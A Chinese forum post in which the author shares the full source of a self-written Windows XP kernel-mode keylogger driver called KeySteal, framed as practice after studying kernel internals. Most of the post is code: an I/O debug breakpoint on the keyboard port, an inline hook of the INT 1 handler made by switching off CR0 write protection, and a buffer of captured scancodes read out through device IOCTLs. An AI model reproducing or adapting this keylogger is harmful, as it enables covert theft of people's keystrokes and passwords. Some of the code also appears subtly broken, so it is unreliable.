为了巩固偶看内核情景第二章,第九章的知识,自己写了个键盘记录器。
原理很老套,无非是下io断点,inlinehook int 1 中断,详细的东东都可以在
windows内核情景分析第二章,软件调试第四章里找到,我就不搬教科书了00!也不是啥新东西。
#include <ntddk.h>
#include <keysteal.h>

#define IOCTL_START_KEYFIL CTL_CODE(FILE_DEVICE_UNKNOWN,0x810,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define IOCTL_STOP_KEYFIL CTL_CODE(FILE_DEVICE_UNKNOWN,0x811,METHOD_BUFFERED,FILE_ANY_ACCESS)

UCHAR Buffe_0_1_2[256];
ULONG Numbers,HookPointer, JmpOffset, HookOffset, HookCode,SaveOffset, KernelBase;

void SetBreakPoint()
{
  _asm {
    mov eax, 0x60
    mov dr3,eax

    _emit 0x0F
    _emit 0x20
    _emit 0xE0
    or eax, 0x8
    _emit 0x0F
    _emit 0x22
    _emit 0xE0

    mov eax, dr7
    or eax, 0x20000140
    mov dr7,eax
  }
}

void ClearBreakPoint()
{
  _asm {
      cli
      xor eax,eax
      mov dr3,eax
      
      _emit 0x0F
      _emit 0x20
      _emit 0xE0
      and eax, 0xfffffff7
      _emit 0x0F
      _emit 0x22
      _emit 0xE0
      
      mov eax, dr7
      and eax, 0xDffffebf
      mov dr7,eax
      sti
  }
}

void ClearHook ()
{
  _asm{
    cli
    mov  eax,cr0
    and  eax,not 10000h
    mov  cr0,eax
      
    mov ebx, HookPointer
    mov eax, SaveOffset
    xchg [ebx], eax

    mov  eax,cr0
    or   eax,10000h
    mov  cr0,eax
    sti
      }
}


void SetHook ()
{

  HookPointer = KernelBase + HookOffset;
  JmpOffset = HookCode - (HookPointer + 4);
  
  *(PUCHAR)(HookCode + 0x5d) = 0xe8;
  *(PULONG)(HookCode + 0x5e) =  (HookPointer + 4) + SaveOffset - (HookCode + 0x62);  
  
  _asm{
    cli
    mov  eax,cr0
    and  eax,not 10000h
    mov  cr0,eax
    
    mov ebx, HookPointer
    mov eax, JmpOffset
    xchg [ebx], eax
    mov SaveOffset, eax

    mov  eax,cr0
    or   eax,10000h
    mov  cr0,eax
    sti
      }
}

void  InlineHook()
{
  
  _asm {
    push eax
    push esi
    mov eax, dr7
    or eax, 0x20000140
    mov dr7,eax
    mov eax,dr6
    test eax, 8
    jz _pass
    mov esi, offset Buffe_0_1_2
    add esi, Numbers;
    mov eax, [ebp + 44h]
    mov byte ptr [esi], al
    inc Numbers
    cmp Numbers, 256
    jnz _jump
    xor eax,eax
    mov Numbers, eax
_jump:
    pop esi
    pop eax
    
    mov esp, ebp
    add esp, 30h
    pop gs
    pop es
    pop ds
    pop edx
    pop ecx
    pop eax
    add esp, 8
    pop fs
    pop edi
    pop esi
    pop ebx
    pop ebp
    add esp, 4
    iretd
_pass:
    pop esi
    pop eax
    nop
    nop
    nop
    nop
    nop
  }
}


NTSTATUS GetKernelBase ()
{
  NTSTATUS status;
  ULONG length;
  UNICODE_STRING Destination;
  PSYSMODULELIST sysinfo;
  
  RtlInitUnicodeString (&Destination, L"ZwQuerySystemInformation");
  ZwQuerySystemInformation = 
    (ZWQUERYSYSTEMINFORMATION)MmGetSystemRoutineAddress (&Destination);
  status = ZwQuerySystemInformation(SystemModuleInformation,NULL,0,&length);
  if (status == STATUS_INFO_LENGTH_MISMATCH)
  {
    sysinfo = ExAllocatePoolWithTag(NonPagedPool,length,0x123456);
    if (NULL == sysinfo)
    {
      return STATUS_INSUFFICIENT_RESOURCES;
    }
  }
  status = ZwQuerySystemInformation(SystemModuleInformation
    , sysinfo, length, &length);
  if(!NT_SUCCESS(status))
  {
    ExFreePoolWithTag (sysinfo, 0x123456);
    return STATUS_UNSUCCESSFUL;
  }
  
  KernelBase = sysinfo->smi[0].Base;
  ExFreePoolWithTag (sysinfo, 0x123456);
  
  return STATUS_SUCCESS;
}

NTSTATUS 
Unload (PDRIVER_OBJECT DriverObject)
{
  UNICODE_STRING SymbolLink;
  
  RtlInitUnicodeString (&SymbolLink, L"\\??\\KeySteal");
  
  ExFreePoolWithTag (HookCode, 0x123456);
  IoDeleteSymbolicLink (&SymbolLink);
  IoDeleteDevice (DriverObject->DeviceObject);
  
  return STATUS_SUCCESS;
}


NTSTATUS
ReadRoutine (
  PDEVICE_OBJECT DeviceObject,
  PIRP pIrp
  )
{
  
  NTSTATUS status = STATUS_SUCCESS;
  
  RtlCopyMemory (pIrp->AssociatedIrp.SystemBuffer, Buffe_0_1_2, 256);

  pIrp->IoStatus.Status = STATUS_SUCCESS;
  pIrp->IoStatus.Information = 256;
  IoCompleteRequest (pIrp, IO_NO_INCREMENT);
  
  return status;
}

NTSTATUS 
DeviceControlRoutine (
  PDEVICE_OBJECT DeviceObject,
  PIRP pIrp
  )
{

  ULONG code;
  PIO_STACK_LOCATION stack = NULL;
  

  stack = IoGetCurrentIrpStackLocation (pIrp);
  code = stack->Parameters.DeviceIoControl.IoControlCode;
  
  switch (code)
  {
  case IOCTL_START_KEYFIL:

    SetBreakPoint();
    SetHook();
    break;
    
  case IOCTL_STOP_KEYFIL:

    ClearBreakPoint();
    ClearHook();
    break;
  default:
    break;
  }
  
  pIrp->IoStatus.Status = STATUS_SUCCESS;
  pIrp->IoStatus.Information = 0;
  IoCompleteRequest (pIrp, IO_NO_INCREMENT);
  
  return STATUS_SUCCESS;
}

NTSTATUS
DispatchRoutine (
  PDEVICE_OBJECT DeviceObject, 
  PIRP pIrp)
{
  pIrp->IoStatus.Status = STATUS_SUCCESS;
  pIrp->IoStatus.Information = 0;
  IoCompleteRequest(pIrp, IO_NO_INCREMENT);
  
  return STATUS_SUCCESS;
}

NTSTATUS DriverEntry (PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegPath)
{
  int i;
  NTSTATUS status;
  PDEVICE_OBJECT DeviceObject;
  UNICODE_STRING DeviceName,SymbolLink;
  
  _asm int 3
  HookOffset = 0x67026; //just for winxp sp3
  
  RtlInitUnicodeString (&DeviceName, L"\\Device\\KeySteal");

  status = IoCreateDevice (
    DriverObject, 
    0, 
    &DeviceName, 
    FILE_DEVICE_UNKNOWN, 
    0, 
    FALSE, 
    &DeviceObject);
  if (!NT_SUCCESS(status))
  {
    return STATUS_UNSUCCESSFUL;
  }

  for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION+1; i++)
  {
    DriverObject->MajorFunction[i] = DispatchRoutine;
  }

  DeviceObject->Flags |= DO_BUFFERED_IO;  
  DriverObject->MajorFunction[IRP_MJ_READ] = ReadRoutine;
  DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DeviceControlRoutine;
  DriverObject->DriverUnload = Unload;
  
  //创建符号连接
  RtlInitUnicodeString (&SymbolLink, L"\\??\\KeySteal");
  status = IoCreateSymbolicLink (&SymbolLink, &DeviceName);
  if (!NT_SUCCESS (status))
  {
    if (NULL != DeviceObject)
    {
      IoDeleteDevice (DeviceObject);
    }
    return status;
  }

  RtlZeroMemory(Buffe_0_1_2, 0, 256);
  GetKernelBase();
  HookCode = ExAllocatePoolWithTag (NonPagedPool, 100, 0x123456);  
  RtlCopyMemory (HookCode, (ULONG)InlineHook + 8, 0x62);
  
  return STATUS_SUCCESS;
}

上传的附件 Demo.rar